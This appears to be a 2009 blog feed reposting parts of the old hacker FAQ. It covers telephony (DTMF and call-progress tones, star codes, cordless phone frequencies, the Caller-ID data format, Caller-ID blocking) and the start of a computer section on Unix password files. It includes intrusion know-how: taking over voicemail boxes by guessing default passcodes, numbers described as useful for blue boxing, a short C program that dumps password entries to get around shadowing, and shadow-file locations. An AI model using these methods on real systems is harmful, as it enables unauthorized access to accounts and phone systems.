/&gt;Irving, TX 75063&lt;br /&gt;(800)866-5353&lt;br /&gt;&lt;br /&gt;Time Motion Tools&lt;br /&gt;12778 Brookprinter Place&lt;br /&gt;Poway, CA 92064&lt;br /&gt;(619)679-0303&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;25. What are the DTMF frequencies?&lt;br /&gt;&lt;br /&gt;DTMF stands for Dual Tone Multi Frequency.  These are the tones you get&lt;br /&gt;when you press a key on your telephone touch pad.  The tone of the&lt;br /&gt;button is the sum of the column and row tones.  The ABCD keys do not&lt;br /&gt;exist on standard telephones.&lt;br /&gt;&lt;br /&gt; 1209 1336 1477 1633&lt;br /&gt;&lt;br /&gt;    697   1    2    3    A&lt;br /&gt;&lt;br /&gt;    770   4    5    6    B&lt;br /&gt;&lt;br /&gt;    852   7    8    9    C&lt;br /&gt;&lt;br /&gt;    941   *    0    #    D&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;26. What are the frequencies of the telephone tones?&lt;br /&gt;&lt;br /&gt;Type                Hz          On      Off&lt;br /&gt;---------------------------------------------------------------------&lt;br /&gt;Dial Tone         350 &amp;amp; 440     ---     ---&lt;br /&gt;Busy Signal       480 &amp;amp; 620     0.5     0.5&lt;br /&gt;Toll Congestion   480 &amp;amp; 620     0.2     0.3&lt;br /&gt;Ringback (Normal) 440 &amp;amp; 480     2.0     4.0&lt;br /&gt;Ringback (PBX)    440 &amp;amp; 480     1.5     4.5&lt;br /&gt;Reorder (Local)   480 &amp;amp; 620     3.0     2.0&lt;br /&gt;Invalid Number    200 &amp;amp; 400&lt;br /&gt;Hang Up Warning 1400 &amp;amp; 2060     0.1     0.1&lt;br /&gt;Hang Up         2450 &amp;amp; 2600     ---     ---&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;27. What are all of the * (LASS) codes?&lt;br /&gt;&lt;br /&gt;Local Area Signalling Services (LASS) and Custom Calling Feature&lt;br /&gt;Control Codes:&lt;br /&gt;&lt;br /&gt;(These appear to be standard, but may be changed locally)&lt;br /&gt;&lt;br /&gt;Service                     Tone    Pulse/rotary   Notes&lt;br /&gt;--------------------------------------------------------------------------&lt;br /&gt;Assistance/Police           *12         n/a        [1]&lt;br /&gt;Cancel forwarding           *30         n/a        [C1]&lt;br /&gt;Automatic Forwarding        *31         n/a        [C1]&lt;br /&gt;Notify                      *32         n/a        [C1] [2]&lt;br /&gt;Intercom Ring 1 (..)        *51         1151       [3]&lt;br /&gt;Intercom Ring 2 (.._)       *52         1152       [3]&lt;br /&gt;Intercom Ring 3 (._.)       *53         1153       [3]&lt;br /&gt;Extension Hold              *54         1154       [3]&lt;br /&gt;Customer Originated Trace   *57         1157&lt;br /&gt;Selective Call Rejection    *60         1160       (or Call Screen)&lt;br /&gt;Selective Distinct Alert    *61         1161&lt;br /&gt;Selective Call Acceptance   *62         1162&lt;br /&gt;Selective Call Forwarding   *63         1163&lt;br /&gt;ICLID Activation            *65         1165&lt;br /&gt;Call Return (outgoing)      *66         1166&lt;br /&gt;Number Display Blocking     *67         1167       [4]&lt;br /&gt;Computer Access Restriction *68         1168&lt;br /&gt;Call Return (incoming)      *69         1169&lt;br /&gt;Call Waiting disable        *70         1170       [4]&lt;br /&gt;No Answer Call Transfer     *71         1171&lt;br /&gt;Usage Sensitive 3 way call  *71         1171&lt;br /&gt;Call Forwarding: start      *72 or 72#  1172&lt;br /&gt;Call Forwarding: cancel     *73 or 73#  1173&lt;br /&gt;Speed Calling (8 numbers)   *74 or 74#  1174&lt;br /&gt;Speed Calling (30 numbers)  *75 or 75#  1175&lt;br /&gt;Anonymous Call Rejection    *77         1177       [5] [M: *58]&lt;br /&gt;Call Screen Disable         *80         1180       (or Call Screen) [M: *50]&lt;br /&gt;Selective Distinct Disable  *81         1181       [M: *51]&lt;br /&gt;Select. Acceptance Disable  *82         1182       [4] [7]&lt;br /&gt;Select. Forwarding Disable  *83         1183       [M: *53]&lt;br /&gt;ICLID Disable               *85         1185&lt;br /&gt;Call Return (cancel out)    *86         1186       [6] [M: *56]&lt;br /&gt;Anon. Call Reject (cancel)  *87         1187       [5] [M: *68]&lt;br /&gt;Call Return (cancel in)     *89         1189       [6] [M: *59]&lt;br /&gt;&lt;br /&gt;Notes:&lt;br /&gt;&lt;br /&gt;[C1]     - Means code used for Cellular One service&lt;br /&gt;[1]      - for cellular in Pittsburgh, PA A/C 412 in some areas&lt;br /&gt;[2]      - indicates that you are not local and maybe how to reach you&lt;br /&gt;[3]      - found in Pac Bell territory; Intercom ring causes a distinctive&lt;br /&gt;          ring to be generated on the current line; Hold keeps a call&lt;br /&gt;          connected until another extension is picked up&lt;br /&gt;[4]      - applied once before each call&lt;br /&gt;[5]      - A.C.R. blocks calls from those who blocked Caller ID&lt;br /&gt;          (used in C&amp;amp;P territory, for instance)&lt;br /&gt;[6]      - cancels further return attempts&lt;br /&gt;[7]      - *82 (1182) has been mandated to be the nationwide code for&lt;br /&gt;          "Send CLID info regardless of the default setting on this&lt;br /&gt;          phone line."&lt;br /&gt;[M: *xx] - alternate code used for MLVP (multi-line variety package)&lt;br /&gt;          by Bellcore. It goes by different names in different RBOCs.&lt;br /&gt;          In Bellsouth it is called Prestige. It is an arrangement of&lt;br /&gt;          ESSEX like features for single or small multiple line groups.&lt;br /&gt;&lt;br /&gt;          The reason for different codes for some features in MLVP is that&lt;br /&gt;          call-pickup is *8 in MLVP so all *8x codes are reassigned *5x&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;28. What frequencies do cordless phones operate on?&lt;br /&gt;&lt;br /&gt;Here are the frequencies for the first generation 46/49mhz phones.&lt;br /&gt;&lt;br /&gt;Channel    Handset Transmit    Base Transmit&lt;br /&gt;-------    ----------------    -------------&lt;br /&gt;  1          49.670mhz          46.610mhz&lt;br /&gt;  2          49.845             46.630&lt;br /&gt;  3          49.860             46.670&lt;br /&gt;  4          49.770             46.710&lt;br /&gt;  5          49.875             46.730&lt;br /&gt;  6          49.830             46.770&lt;br /&gt;  7          49.890             46.830&lt;br /&gt;  8          49.930             46.870&lt;br /&gt;  9          49.990             46.930&lt;br /&gt; 10          49.970             46.970&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The new "900mhz" cordless phones have been allocated the frequencies&lt;br /&gt;between 902-228MHz, with channel spacing between 30-100KHz.&lt;br /&gt;&lt;br /&gt;Following are some examples of the frequencies used by phones&lt;br /&gt;currently on the market.&lt;br /&gt;&lt;br /&gt;----------------------------------------------------------------&lt;br /&gt;Panasonic KX-T9000 (60 Channels) &lt;br /&gt;base     902.100 - 903.870 Base frequencies (30Khz spacing)&lt;br /&gt;handset  926.100 - 927.870 Handset frequencies&lt;br /&gt;CH   BASE    HANDSET    CH   BASE    HANDSET    CH   BASE   HANDSET&lt;br /&gt;--  -------  -------    --  -------  -------    --  ------- -------&lt;br /&gt;01  902.100  926.100    11  902.400  926.400    21  902.700 926.700&lt;br /&gt;02  902.130  926.130    12  902.430  926.430    22  902.730 926.730&lt;br /&gt;03  902.160  926.160    13  902.460  926.460    23  902.760 926.760&lt;br /&gt;04  902.190  926.190    14  902.490  926.490    24  902.790 926.790&lt;br /&gt;05  902.220  926.220    15  902.520  926.520    25  902.820 926.820&lt;br /&gt;06  902.250  926.250    16  902.550  926.550    26  902.850 926.850&lt;br /&gt;07  902.280  926.280    17  902.580  926.580    27  902.880 926.880&lt;br /&gt;08  902.310  926.310    18  902.610  926.610    28  902.910 926.910&lt;br /&gt;09  902.340  926.340    19  902.640  926.640    29  902.940 926.940&lt;br /&gt;10  902.370  926.370    20  902.670  926.670    30  902.970 926.970&lt;br /&gt;&lt;br /&gt;31  903.000  927.000    41  903.300  927.300    51  903.600 927.600&lt;br /&gt;32  903.030  927.030    42  903.330  927.330    52  903.630 927.630&lt;br /&gt;33  903.060  927.060    43  903.360  927.360    53  903.660 927.660&lt;br /&gt;34  903.090  927.090    44  903.390  927.390    54  903.690 927.690&lt;br /&gt;35  903.120  927.120    45  903.420  927.420    55  903.720 927.720&lt;br /&gt;36  903.150  927.150    46  903.450  927.450    56  903.750 927.750&lt;br /&gt;37  903.180  927.180    47  903.480  927.480    57  903.780 927.780&lt;br /&gt;38  903.210  927.210    48  903.510  927.510    58  903.810 927.810&lt;br /&gt;39  903.240  927.240    49  903.540  927.540    59  903.840 927.840&lt;br /&gt;40  903.270  927.270    50  903.570  927.570    60  903.870 927.870&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;V-TECH TROPEZ DX900 (20 CHANNELS)&lt;br /&gt;905.6 - 907.5   TRANSPONDER (BASE) FREQUENCIES (100 KHZ SPACING)&lt;br /&gt;925.5 - 927.4   HANDSET FREQUENCIES&lt;br /&gt;&lt;br /&gt;CH   BASE    HANDSET    CH   BASE    HANDSET    CH   BASE   HANDSET&lt;br /&gt;--  -------  -------    --  -------  -------    --  ------- -------&lt;br /&gt;01  905.600  925.500    08  906.300  926.200    15  907.000 926.900&lt;br /&gt;02  905.700  925.600    09  906.400  926.300    16  907.100 927.000&lt;br /&gt;03  905.800  925.700    10  906.500  926.400    17  907.200 927.100&lt;br /&gt;04  905.900  925.800    11  906.600  926.500    18  907.300 927.200&lt;br /&gt;05  906.000  925.900    12  906.700  926.600    19  907.400 927.300&lt;br /&gt;06  906.100  926.000    13  906.800  926.700    20  907.500 927.400&lt;br /&gt;07  906.200  926.100    14  906.900  926.800&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------&lt;br /&gt;Other 900mhz cordless phones&lt;br /&gt;AT&amp;amp;T #9120  - - - - - 902.0 - 905.0 &amp;amp; 925.0 - 928.0 MHZ&lt;br /&gt;OTRON CORP. #CP-1000  902.1 - 903.9 &amp;amp; 926.1 - 927.9 MHZ&lt;br /&gt;SAMSUNG #SP-R912- - - 903.0         &amp;amp;         927.0 MHZ&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;29. What is Caller-ID?&lt;br /&gt;&lt;br /&gt;This FAQ answer is stolen from Rockwell:&lt;br /&gt;&lt;br /&gt;Calling Number Delivery (CND), better known as Caller ID, is a&lt;br /&gt;telephone service intended for residential and small business&lt;br /&gt;customers.  It allows the called Customer Premises Equipment (CPE) to&lt;br /&gt;receive a calling party's directory number and the date and time of&lt;br /&gt;the call during the first 4 second silent interval in the ringing&lt;br /&gt;cycle.&lt;br /&gt;&lt;br /&gt;Parameters&lt;br /&gt;~~~~~~~~~~&lt;br /&gt;The data signalling interface has the following characteristics:&lt;br /&gt;&lt;br /&gt;       Link Type:                              2-wire, simplex&lt;br /&gt;Transmission Scheme:  Analog, phase-coherent FSK&lt;br /&gt;Logical 1 (mark)   1200 +/- 12 Hz&lt;br /&gt;Logical 0 (space)   2200 +/- 22 Hz&lt;br /&gt;Transmission Rate:   1200 bps&lt;br /&gt;Transmission Level:   13.5 +/- dBm into 900 ohm load&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Protocol&lt;br /&gt;~~~~~~~~&lt;br /&gt;The protocol uses 8-bit data words (bytes), each bounded by a start&lt;br /&gt;bit and a stop bit.  The CND message uses the Single Data Message&lt;br /&gt;format shown below.&lt;br /&gt;&lt;br /&gt;| Channel  |  Carrier  |  Message  |  Message  |  Data       | Checksum |&lt;br /&gt;| Seizure  |  Signal   |  Type     |  Length   |  Word(s)    | Word     |&lt;br /&gt;| Signal   |           |  Word     |  Word     |             |          |&lt;br /&gt;&lt;br /&gt;Channel Seizure Signal&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;The channel seizure is 30 continuous bytes of 55h (01010101) providing&lt;br /&gt;a detectable alternating function to the CPE (i.e. the modem data&lt;br /&gt;pump).&lt;br /&gt;&lt;br /&gt;Carrier Signal&lt;br /&gt;~~~~~~~~~~~~~~&lt;br /&gt;The carrier signal consists of 130 +/- 25 mS of mark (1200 Hz) to&lt;br /&gt;condition the receiver for data.&lt;br /&gt;&lt;br /&gt;Message Type Word&lt;br /&gt;~~~~~~~~~~~~~~~~~&lt;br /&gt;The message type word indicates the service and capability associated&lt;br /&gt;with the data message.  The message type word for CND is 04h&lt;br /&gt;(00000100).&lt;br /&gt;&lt;br /&gt;Message Length Word&lt;br /&gt;~~~~~~~~~~~~~~~~~~~&lt;br /&gt;The message length word specifies the total number of data words to&lt;br /&gt;follow.&lt;br /&gt;&lt;br /&gt;Data Words&lt;br /&gt;~~~~~~~~~~&lt;br /&gt;The data words are encoded in ASCII and represent the following&lt;br /&gt;information:&lt;br /&gt;&lt;br /&gt;o  The first two words represent the month&lt;br /&gt;o  The next two words represent the day of the month&lt;br /&gt;o  The next two words represent the hour in local military time&lt;br /&gt;o  The next two words represent the minute after the hour&lt;br /&gt;o  The calling party's directory number is represented by the&lt;br /&gt;  remaining  words in the data word field&lt;br /&gt;&lt;br /&gt;If the calling party's directory number is not available to the&lt;br /&gt;terminating central office, the data word field contains an ASCII "O".&lt;br /&gt;If the calling party invokes the privacy capability, the data word&lt;br /&gt;field contains an ASCII "P".&lt;br /&gt;&lt;br /&gt;Checksum Word&lt;br /&gt;~~~~~~~~~~~~~&lt;br /&gt;The Checksum Word contains the twos complement of the modulo 256 sum&lt;br /&gt;of the other words in the data message (i.e., message type, message&lt;br /&gt;length, and data words).  The receiving equipment may calculate the&lt;br /&gt;modulo 256 sum of the received words and add this sum to the received&lt;br /&gt;checksum word.  A result of zero generally indicates that the message&lt;br /&gt;was correctly received.  Message retransmission is not supported.&lt;br /&gt;&lt;br /&gt;Example CNS Single Data Message&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;An example of a received CND message, beginning with the message type&lt;br /&gt;word, follows:&lt;br /&gt;&lt;br /&gt;04 12 30 39 33 30 31 32 32 34 36 30 39 35 35 35 31 32 31 32 51&lt;br /&gt;&lt;br /&gt;04h=  Calling number delivery information code (message type word)&lt;br /&gt;12h=  18 decimal; Number of data words (date,time, and directory&lt;br /&gt;     number words)&lt;br /&gt;ASCII 30,39= 09; September&lt;br /&gt;ASCII 33,30= 30; 30th day&lt;br /&gt;ASCII 31,32= 12; 12:00 PM&lt;br /&gt;ASCII 32,34= 24; 24 minutes (i.e., 12:24 PM)&lt;br /&gt;ASCII 36,30,39,35,35,35,31,32,31,32= (609) 555-1212; calling&lt;br /&gt;     party's directory number&lt;br /&gt;51h=  Checksum Word&lt;br /&gt;&lt;br /&gt;Data Access Arrangement (DAA) Requirements&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;To receive CND information, the modem monitors the phone line between&lt;br /&gt;the first and second ring bursts without causing the DAA to go off&lt;br /&gt;hook in the conventional sense, which would inhibit the transmission&lt;br /&gt;of CND by the local central office.  A simple modification to an&lt;br /&gt;existing DAA circuit easily accomplishes the task.&lt;br /&gt;&lt;br /&gt;Modem Requirements&lt;br /&gt;~~~~~~~~~~~~~~~~~~&lt;br /&gt;Although the data signalling interface parameters match those of a&lt;br /&gt;Bell 202 modem, the receiving CPE need not be a Bell 202 modem.  A&lt;br /&gt;V.23 1200 bps modem receiver may be used to demodulate the Bell 202&lt;br /&gt;signal.  The ring indicate bit (RI) may be used on a modem to indicate&lt;br /&gt;when to monitor the phone line for CND information.  After the RI bit&lt;br /&gt;sets, indicating the first ring burst, the host waits for the RI bit&lt;br /&gt;to reset.  The host then configures the modem to monitor the phone&lt;br /&gt;line for CND information.&lt;br /&gt;&lt;br /&gt;Signalling&lt;br /&gt;~~~~~~~~~~&lt;br /&gt;According to Bellcore specifications, CND signalling starts as early&lt;br /&gt;as 300 mS after the first ring burst and ends at least 475 mS before&lt;br /&gt;the second ring burst&lt;br /&gt;&lt;br /&gt;Applications&lt;br /&gt;~~~~~~~~~~~~&lt;br /&gt;Once CND information is received the user may process the information&lt;br /&gt;in a number of ways.&lt;br /&gt;&lt;br /&gt;1.  The date, time, and calling party's directory number can be&lt;br /&gt;   displayed.&lt;br /&gt;&lt;br /&gt;2.  Using a look-up table, the calling party's directory number can be&lt;br /&gt;   correlated with his or her name and the name displayed.&lt;br /&gt;&lt;br /&gt;3.  CND information can also be used in additional ways such as for:&lt;br /&gt;&lt;br /&gt;   a.  Bulletin board applications&lt;br /&gt;   b.  Black-listing applications&lt;br /&gt;   c.  Keeping logs of system user calls, or&lt;br /&gt;   d.  Implementing a telemarketing data base&lt;br /&gt;&lt;br /&gt;References&lt;br /&gt;~~~~~~~~~~&lt;br /&gt;For more information on Calling Number Delivery (CND), refer to&lt;br /&gt;Bellcore publications TR-TSY-000030 and TR-TSY-000031.&lt;br /&gt;&lt;br /&gt;To obtain Bellcore documents contact:&lt;br /&gt;&lt;br /&gt;Bellcore Customer Service&lt;br /&gt;60 New England Avenue, Room 1B252&lt;br /&gt;Piscataway, NJ   08834-4196&lt;br /&gt;(908) 699-5800&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;30. How do I block Caller-ID?&lt;br /&gt;&lt;br /&gt;Always test as much as possible before relying on any method of blocking&lt;br /&gt;Caller-ID.  Some of these methods work in some areas, but not in others.&lt;br /&gt;&lt;br /&gt;Dial *67 before you dial the number.  (141 in the United Kingdom)&lt;br /&gt;Dial your local TelCo and have them add Caller-ID block to your line.&lt;br /&gt;Dial the 0 Operator and have him or her place the call for you.&lt;br /&gt;Dial the call using a pre-paid phone card.&lt;br /&gt;Dial through Security Consultants at (900)PREVENT for U.S. calls&lt;br /&gt;    ($1.99/minute) or (900)STONEWALL for international calls ($3.99/minute).&lt;br /&gt;Dial from a pay phone.  :-)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;31. What is a PBX?&lt;br /&gt;&lt;br /&gt;A PBX is a Private Branch Exchange.  A PBX is a small telephone switch&lt;br /&gt;owned by a company or organization.  Let's say your company has a&lt;br /&gt;thousand employees.  Without a PBX, you would need a thousand phone&lt;br /&gt;lines.  However, only 10% of your employees are talking on the phone&lt;br /&gt;at one time.  What if you had a computer that automatically found an&lt;br /&gt;outside line every time one of your employees picked up the telephone.&lt;br /&gt;With this type of system, you could get by with only paying for one&lt;br /&gt;hundred phone lines.  This is a PBX.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;32. What is a VMB?&lt;br /&gt;&lt;br /&gt;A VMB is a Voice Mail Box.  A VMB is a computer that acts as an&lt;br /&gt;answering machine for hundreds or thousands of users.  Each user will&lt;br /&gt;have their own Voice Mail Box on the system.  Each mail box will have&lt;br /&gt;a box number and a pass code.&lt;br /&gt;&lt;br /&gt;Without a passcode, you will usually be able to leave messages to&lt;br /&gt;users on the VMB system.  With a passcode, you can read messages and&lt;br /&gt;administer a mailbox.  Often, mailboxes will exist that were created&lt;br /&gt;by default or are no longer used.  These mailboxes may be taken over&lt;br /&gt;by guessing their passcode.  Often the passcode will be the mailbox&lt;br /&gt;number or a common number such as 1234.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;33. What are the ABCD tones for?&lt;br /&gt;&lt;br /&gt;The ABCD tones are simply additional DTFM tones that may be used in any&lt;br /&gt;way the standard (0-9) tones are used.  The ABCD tones are used in the&lt;br /&gt;U.S. military telephone network (AutoVon), in some Automatic Call&lt;br /&gt;Distributor (ACD) systems, for control messages in some PBX systems, and&lt;br /&gt;in some amateur radio auto-patches.&lt;br /&gt;&lt;br /&gt;In the AutoVon network, special telephones are equipped with ABCD keys.&lt;br /&gt;The ABCD keys are defined as such:&lt;br /&gt;&lt;br /&gt;A - Flash&lt;br /&gt;B - Flash override priority&lt;br /&gt;C - Priority communication&lt;br /&gt;D - Priority override&lt;br /&gt;&lt;br /&gt;Using a built-in maintenance mode of the Automatic Call Distributor&lt;br /&gt;(ACD) systems once used by Directory Assistance operators, you could&lt;br /&gt;connect two callers together.&lt;br /&gt;&lt;br /&gt;The purpose of the Silver Box is to create the ABCD tones.&lt;br /&gt;&lt;br /&gt;See also "What are the DTMF Frequencies?"&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;34. What are the International Direct Numbers?&lt;br /&gt;&lt;br /&gt;The numbers are used so that you may connect to an operator from a&lt;br /&gt;foreign telephone network, without incurring long distance charges.&lt;br /&gt;These numbers may be useful in blue boxing, as many countries still have&lt;br /&gt;older switching equipment in use.&lt;br /&gt;&lt;br /&gt; Australia         (800)682-2878&lt;br /&gt; Austria           (800)624-0043&lt;br /&gt; Belgium           (800)472-0032&lt;br /&gt; Belize            (800)235-1154&lt;br /&gt; Bermuda           (800)232-2067&lt;br /&gt; Brazil            (800)344-1055&lt;br /&gt; British VI        (800)278-6585&lt;br /&gt; Cayman            (800)852-3653&lt;br /&gt; Chile             (800)552-0056&lt;br /&gt; China (Shanghai)  (800)532-4462&lt;br /&gt; Costa Rica        (800)252-5114&lt;br /&gt; Denmark           (800)762-0045&lt;br /&gt; El Salvador       (800)422-2425&lt;br /&gt; Finland           (800)232-0358&lt;br /&gt; France            (800)537-2623&lt;br /&gt; Germany           (800)292-0049&lt;br /&gt; Greece            (800)443-5527&lt;br /&gt; Guam              (800)367-4826&lt;br /&gt; HK                (800)992-2323&lt;br /&gt; Hungary           (800)352-9469&lt;br /&gt; Indonesia         (800)242-4757&lt;br /&gt; Ireland           (800)562-6262&lt;br /&gt; Italy             (800)543-7662&lt;br /&gt; Japan             (800)543-0051&lt;br /&gt; Korea             (800)822-8256&lt;br /&gt; Macau             (800)622-2821&lt;br /&gt; Malaysia          (800)772-7369&lt;br /&gt; Netherlands       (800)432-0031&lt;br /&gt; Norway            (800)292-0047&lt;br /&gt; New Zealand       (800)248-0064&lt;br /&gt; Panama            (800)872-6106&lt;br /&gt; Portugal          (800)822-2776&lt;br /&gt; Philippines       (800)336-7445&lt;br /&gt; Singapore         (800)822-6588&lt;br /&gt; Spain             (800)247-7246&lt;br /&gt; Sweden            (800)345-0046&lt;br /&gt; Taiwan            (800)626-0979&lt;br /&gt; Thailand          (800)342-0066&lt;br /&gt; Turkey            (800)828-2646&lt;br /&gt; UK                (800)445-5667&lt;br /&gt; Uruguay           (800)245-8411&lt;br /&gt; Yugoslavia        (800)367-9842 (Belgrade)&lt;br /&gt;                        367-9841 (Zagreb)&lt;br /&gt; USA from outside  (800)874-4000  Ext. 107&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-5824158227007248166?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/5824158227007248166/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/refferensi-hacking-b-1-34.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/5824158227007248166'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/5824158227007248166'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/refferensi-hacking-b-1-34.html' title='Refferensi hacking B 1-34'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-4044743800411779143</id><published>2009-05-27T13:58:00.000-07:00</published><updated>2009-05-28T18:36:03.896-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Refferensi hacking 1-40</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;Section A: Computers&lt;br /&gt;&lt;br /&gt;  01. How do I access the password file under Unix?&lt;br /&gt;  02. How do I crack Unix passwords?&lt;br /&gt;  03. What is password shadowing?&lt;br /&gt;  04. Where can I find the password file if it's shadowed?&lt;br /&gt;  05. What is NIS/yp?&lt;br /&gt;  06. What are those weird characters after the comma in my passwd file?&lt;br /&gt;  07. How do I access the password file under VMS?&lt;br /&gt;  08. How do I crack VMS passwords?&lt;br /&gt;  09. What can be logged on a VMS system?&lt;br /&gt;  10. What privileges are available on a VMS system?&lt;br /&gt;  11. How do I break out of a restricted shell?&lt;br /&gt;  12. How do I gain root from a suid script or program?&lt;br /&gt;  13. How do I erase my presence from the system logs?&lt;br /&gt;u 14. How do I send fakemail?&lt;br /&gt;  15. How do I fake posts and control messages to UseNet?&lt;br /&gt;  16. How do I hack ChanOp on IRC?&lt;br /&gt;U 17. How do I modify the IRC client to hide my real username?&lt;br /&gt;  18. How to I change to directories with strange characters in them?&lt;br /&gt;U 19. What is ethernet sniffing?&lt;br /&gt;  20. What is an Internet Outdial?&lt;br /&gt;  21. What are some Internet Outdials?&lt;br /&gt;U 22. What is this system?&lt;br /&gt;U 23. What are the default accounts for XXX ?&lt;br /&gt;  24. What port is XXX on?&lt;br /&gt;  25. What is a trojan/worm/virus/logic bomb?&lt;br /&gt;  26. How can I protect myself from viruses and such?&lt;br /&gt;  27. Where can I get more information about viruses?&lt;br /&gt;  28. What is Cryptoxxxxxxx?&lt;br /&gt;  29. What is PGP?&lt;br /&gt;  30. What is Tempest?&lt;br /&gt;  31. What is an anonymous remailer?&lt;br /&gt;U 32. What are the addresses of some anonymous remailers?&lt;br /&gt;  33. How do I defeat copy protection?&lt;br /&gt;  34. What is 127.0.0.1?&lt;br /&gt;  35. How do I post to a moderated newsgroup?&lt;br /&gt;U 36. How do I post to Usenet via e-mail?&lt;br /&gt;  37. How do I defeat a BIOS password?&lt;br /&gt;N 38. What is the password for &lt;encrypted file&gt;?&lt;br /&gt;N 39. Is there any hope of a decompiler that would convert an executable&lt;br /&gt;      program into C/C++ code?&lt;br /&gt;N 40. How does the MS-Windows password encryption work?&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Section A: Computers&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;&lt;br /&gt;01. How do I access the password file under Unix?&lt;br /&gt;&lt;br /&gt;In standard Unix the password file is /etc/passwd.  On a Unix system&lt;br /&gt;with either NIS/yp or password shadowing, much of the password data may&lt;br /&gt;be elsewhere.  An entry in the password file consists of seven colon&lt;br /&gt;delimited fields:&lt;br /&gt;&lt;br /&gt;Username&lt;br /&gt;Encrypted password (And optional password aging data)&lt;br /&gt;User number&lt;br /&gt;Group Number&lt;br /&gt;GECOS Information&lt;br /&gt;Home directory&lt;br /&gt;Shell&lt;br /&gt;&lt;br /&gt;]&lt;br /&gt;] Sample entry from /etc/passwd:&lt;br /&gt;]&lt;br /&gt;] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash&lt;br /&gt;]&lt;br /&gt;&lt;br /&gt;Broken down, this passwd file line shows:&lt;br /&gt;&lt;br /&gt;          Username: will&lt;br /&gt;Encrypted password: 5fg63fhD3d5gh&lt;br /&gt;       User number: 9406&lt;br /&gt;      Group Number: 12&lt;br /&gt; GECOS Information: Will Spencer&lt;br /&gt;    Home directory: /home/fsg/will&lt;br /&gt;             Shell: /bin/bash&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;02. How do I crack Unix passwords?&lt;br /&gt;&lt;br /&gt;Contrary to popular belief, Unix passwords cannot be decrypted.  Unix&lt;br /&gt;passwords are encrypted with a one way function.  The login program&lt;br /&gt;encrypts the text you enter at the "password:" prompt and compares&lt;br /&gt;that encrypted string against the encrypted form of your password.&lt;br /&gt;&lt;br /&gt;Password cracking software uses wordlists.  Each word in the wordlist&lt;br /&gt;is encrypted and the results are compared to the encrypted form of the&lt;br /&gt;target password.&lt;br /&gt;&lt;br /&gt;The best cracking program for Unix passwords is currently Crack by&lt;br /&gt;Alec Muffett.  For PC-DOS, the best package to use is currently&lt;br /&gt;CrackerJack.  CrackerJack is available via ftp from clark.net&lt;br /&gt;/pub/jcase/.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;03. What is password shadowing?&lt;br /&gt;&lt;br /&gt;Password shadowing is a security system where the encrypted password&lt;br /&gt;field of /etc/passwd is replaced with a special token and the&lt;br /&gt;encrypted password is stored in a separate file which is not readable&lt;br /&gt;by normal system users.&lt;br /&gt;&lt;br /&gt;To defeat password shadowing on many (but not all) systems, write a&lt;br /&gt;program that uses successive calls to getpwent() to obtain the&lt;br /&gt;password file.&lt;br /&gt;&lt;br /&gt;Example:&lt;br /&gt;&lt;br /&gt;#include &lt;pwd.h&gt;&lt;br /&gt;main()&lt;br /&gt;{&lt;br /&gt;struct passwd *p;&lt;br /&gt;while(p=getpwent())&lt;br /&gt;printf("%s:%s:%d:%d:%s:%s:%s\n", p-&gt;pw_name, p-&gt;pw_passwd,&lt;br /&gt;p-&gt;pw_uid, p-&gt;pw_gid, p-&gt;pw_gecos, p-&gt;pw_dir, p-&gt;pw_shell);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;04. Where can I find the password file if it's shadowed?&lt;br /&gt;&lt;br /&gt;Unix                  Path                            Token&lt;br /&gt;-----------------------------------------------------------------&lt;br /&gt;AIX 3                 /etc/security/passwd            !&lt;br /&gt;       or             /tcb/auth/files/&lt;first letter   #&lt;br /&gt;                            of username&gt;/&lt;username&gt;&lt;br /&gt;A/UX 3.0s             /tcb/files/auth/?/*&lt;br /&gt;BSD4.3-Reno           /etc/master.passwd              *&lt;br /&gt;ConvexOS 10           /etc/shadpw      